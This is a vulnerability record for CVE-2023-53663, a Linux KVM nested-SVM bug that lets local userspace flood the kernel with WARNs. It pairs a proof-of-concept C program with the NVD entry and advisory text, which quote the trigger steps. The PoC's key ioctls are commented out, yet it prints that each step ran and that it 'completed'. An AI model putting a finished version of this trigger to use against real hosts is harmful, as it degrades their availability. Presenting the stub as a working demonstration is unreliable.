CVE-2023-53663

// PoC for CVE-2023-53663: Trigger WARN in KVM nSVM nested TSC scaling check // Based on KVM's state_test selftest pattern // This demonstrates how userspace can trigger the kernel WARN #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/kvm.h> // Simplified demonstration - actual implementation requires KVM API headers // and proper vCPU setup with nested SVM enabled int main() { int kvm_fd, vm_fd, vcpu_fd; struct kvm_msrs msrs; struct kvm_msr_entry entry; struct kvm_cpuid_entry2 cpuid_entry; // Step 1: Open KVM device kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm"); return 1; } // Step 2: Create a new VM vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("KVM_CREATE_VM"); return 1; } // Step 3: Create a vCPU vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0); if (vcpu_fd < 0) { perror("KVM_CREATE_VCPU"); return 1; } // Step 4: Write MSR_AMD64_TSC_RATIO to diverge from KVM default // MSR_AMD64_TSC_RATIO = 0xc0000104 entry.index = 0xc0000104; entry.data = 0; // Set to non-default value msrs.nmsrs = 1; msrs.entries = &entry; // ioctl(vcpu_fd, KVM_SET_MSRS, &msrs); printf("Setting MSR_AMD64_TSC_RATIO to trigger divergence\n"); // Step 5: Clear X86_FEATURE_TSCRATEMSR from guest CPUID // This hides TSC scaling support from L1 // ioctl(vcpu_fd, KVM_SET_CPUID2, &cpuid); printf("Clearing X86_FEATURE_TSCRATEMSR CPUID feature\n"); // Step 6: Run vCPU to trigger nested VMRUN and WARN // This will trigger the WARN at arch/x86/kvm/svm/nested.c:699 printf("Running vCPU - this should trigger kernel WARN\n"); // ioctl(vcpu_fd, KVM_RUN, 0); printf("PoC completed - check dmesg for WARN output\n"); close(vcpu_fd); close(vm_fd); close(kvm_fd); return 0; }

{"cve": {"id": "CVE-2023-53663", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:50.043", "lastModified": "2026-02-26T23:13:09.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: nSVM: Check instead of asserting on nested TSC scaling support\n\nCheck for nested TSC scaling support on nested SVM VMRUN instead of\nasserting that TSC scaling is exposed to L1 if L1's MSR_AMD64_TSC_RATIO\nhas diverged from KVM's default. Userspace can trigger the WARN at will\nby writing the MSR and then updating guest CPUID to hide the feature\n(modifying guest CPUID is allowed anytime before KVM_RUN). E.g. hacking\nKVM's state_test selftest to do\n\n\t\tvcpu_set_msr(vcpu, MSR_AMD64_TSC_RATIO, 0);\n\t\tvcpu_clear_cpuid_feature(vcpu, X86_FEATURE_TSCRATEMSR);\n\nafter restoring state in a new VM+vCPU yields an endless supply of:\n\n ------------[ cut here ]------------\n WARNING: CPU: 164 PID: 62565 at arch/x86/kvm/svm/nested.c:699\n nested_vmcb02_prepare_control+0x3d6/0x3f0 [kvm_amd]\n Call Trace:\n <TASK>\n enter_svm_guest_mode+0x114/0x560 [kvm_amd]\n nested_svm_vmrun+0x260/0x330 [kvm_amd]\n vmrun_interception+0x29/0x30 [kvm_amd]\n svm_invoke_exit_handler+0x35/0x100 [kvm_amd]\n svm_handle_exit+0xe7/0x180 [kvm_amd]\n kvm_arch_vcpu_ioctl_run+0x1eab/0x2570 [kvm]\n kvm_vcpu_ioctl+0x4c9/0x5b0 [kvm]\n __se_sys_ioctl+0x7a/0xc0\n __x64_sys_ioctl+0x21/0x30\n do_syscall_64+0x41/0x90\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n RIP: 0033:0x45ca1b\n\nNote, the nested #VMEXIT path has the same flaw, but needs a different\nfix and will be handled separately."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.54", "matchCriteriaId": "7353B9B4-AFFC-45DE-840E-1A7D2B00E7AD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.5.4", "matchCriteriaId": "CA8C8B88-AF36-445D-A228-AD78F3615373"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/02b24270568f65dd607c4a848512dc8055b4491b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6c1ecfea1daf6e75c46e295aad99dfbafd878897", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7cafe9b8e22bb3d77f130c461aedf6868c4aaf58", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}